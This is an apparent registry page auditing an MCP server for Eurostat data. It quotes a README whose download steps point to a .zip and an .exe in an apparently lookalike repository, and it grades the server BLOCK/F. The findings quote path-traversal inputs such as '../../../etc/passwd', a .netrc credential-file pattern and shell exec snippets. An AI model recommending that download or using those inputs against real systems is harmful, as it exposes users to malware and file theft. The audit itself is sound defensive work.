eurostat-mcp-serverBLOCK
Query Eurostat datasets on economy, health, and regional data through the Model Context Protocol using STDIO or HTTP.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/barrylecherous932/eurostat-mcp-server/raw/refs/heads/main/changelog/eurostat-server-mcp-mannishness.zip)
📖 About the Project
The eurostat-mcp-server application provides a gateway to European Union statistics. It connects your computer to the official Eurostat database. You can search and retrieve data on the economy, population counts, trade balances, health metrics, and regional NUTS codes.
The software uses the Model Context Protocol (MCP). This protocol allows your analysis tools to talk to this server. You can use this data for research, reports, or automated planning. It covers 8,933 unique datasets from the Eurostat library.
📋 System Requirements
To run this tool on a Windows computer, you need basic system hardware. Your setup should meet these specifications:
- Operating System: Windows 10 or Windows 11 (64-bit).
- Processor: A standard dual-core CPU or better.
- Memory: 4 gigabytes of RAM.
- Storage: 100 megabytes of free space.
- Network: A stable internet connection to pull data from government servers.
You do not need to install complex language environments like Bun or Node.js. This package includes everything required to run the process on your Windows machine.
📥 How to Download
Follow these steps to obtain the software:
- Visit the official releases page.
- Look for the "Assets" section at the bottom of the latest release.
- Select the file ending in
.exefor Windows. - Download the file to your computer desktop or a folder of your choice.
⚙️ Installation and Setup
Once you download the file, follow these instructions to start the server:
- Navigate to the folder where you saved the
.exefile. - Double-click the file to open
5b2c13dce931OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add eurostat-mcp-server -- npx -y @cyanheads/[email protected] run start:stdio
claude mcp add eurostat-mcp-server -- npx -y @cyanheads/[email protected] run start:http
Exposed tools (1)
1 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
eurostat-dataset-info | read | Dataset metadata for a Eurostat dataset — dimensions, time range, observation count, and last-updated date. Equivalent to eurostat_get_dataset_info but accessible as a resource URI for cache-injectable context. |
Trust audit
BLOCKgrade F · trust 45/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- none-observed
- Shell
- declared (5 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (14)
**Seed orientation context when the next moves are predictable.** Piggybacking a compact snapshot alongside the primary result — recent activity, tracked state, a few reference items — does two things
Kills the background server, removes the server log, then removes the helper script itself. Do this *before* writing the report so nothing leaks into the next session.
- For each `user_config` entry referenced as `${user_config.X}` in `mcp_config.env`: if it's not `required: true`, set `"default": ""`. MCPB hosts (Claude Desktop included) pass the literal placeholdeconst tsc = await exec([join(ROOT_DIR, 'node_modules', '.bin', 'tsc'), '-p', project], 'tsc');
const alias = await exec(
exec(cmd: string[], options: { cwd: string }): Promise<ShellResult> {'**/.netrc',
Prereq: a GitHub PAT with `read:org` + `read:user` scopes stored in Keychain under the service name `mcp-publisher-github-pat`:
eurostat-server-mcp-mannishness.zip
.mcpbignore
'../../../etc/passwd',
dataset_code: '../../../etc/passwd',
@cyanheads/mcp-ts-core, pino-pretty, zod, @biomejs/biome, @types/node, depcheck, ignore, tsc-alias
| `SUPABASE_SERVICE_ROLE_KEY` | `supabase.serviceRoleKey` | Optional; elevated access |
Gates applied: critical_finding, no_behavioural_pass, undeclared_transfer.
5b2c13dce931full audit observations/trust-audit/mcp-server/barrylecherous932__eurostat-mcp-server.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 5b2c13dce931 | BLOCK | F | 45 | first audit |
Questions
What is the eurostat-mcp-server MCP server?
Query Eurostat datasets on economy, health, and regional data through the Model Context Protocol using STDIO or HTTP.
What tools does eurostat-mcp-server expose?
1 in total: 1 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is eurostat-mcp-server safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (45/100) and found 8 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does eurostat-mcp-server need?
No credential environment variables were found in its source, so it appears to need none.
How does eurostat-mcp-server run?
It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on npm as @cyanheads/eurostat-mcp-server at 0.1.9.
How current is this page?
The grade is for one exact copy of the source (5b2c13dce931), read on 2026-10-11. The repository is watched and re-audited when it changes.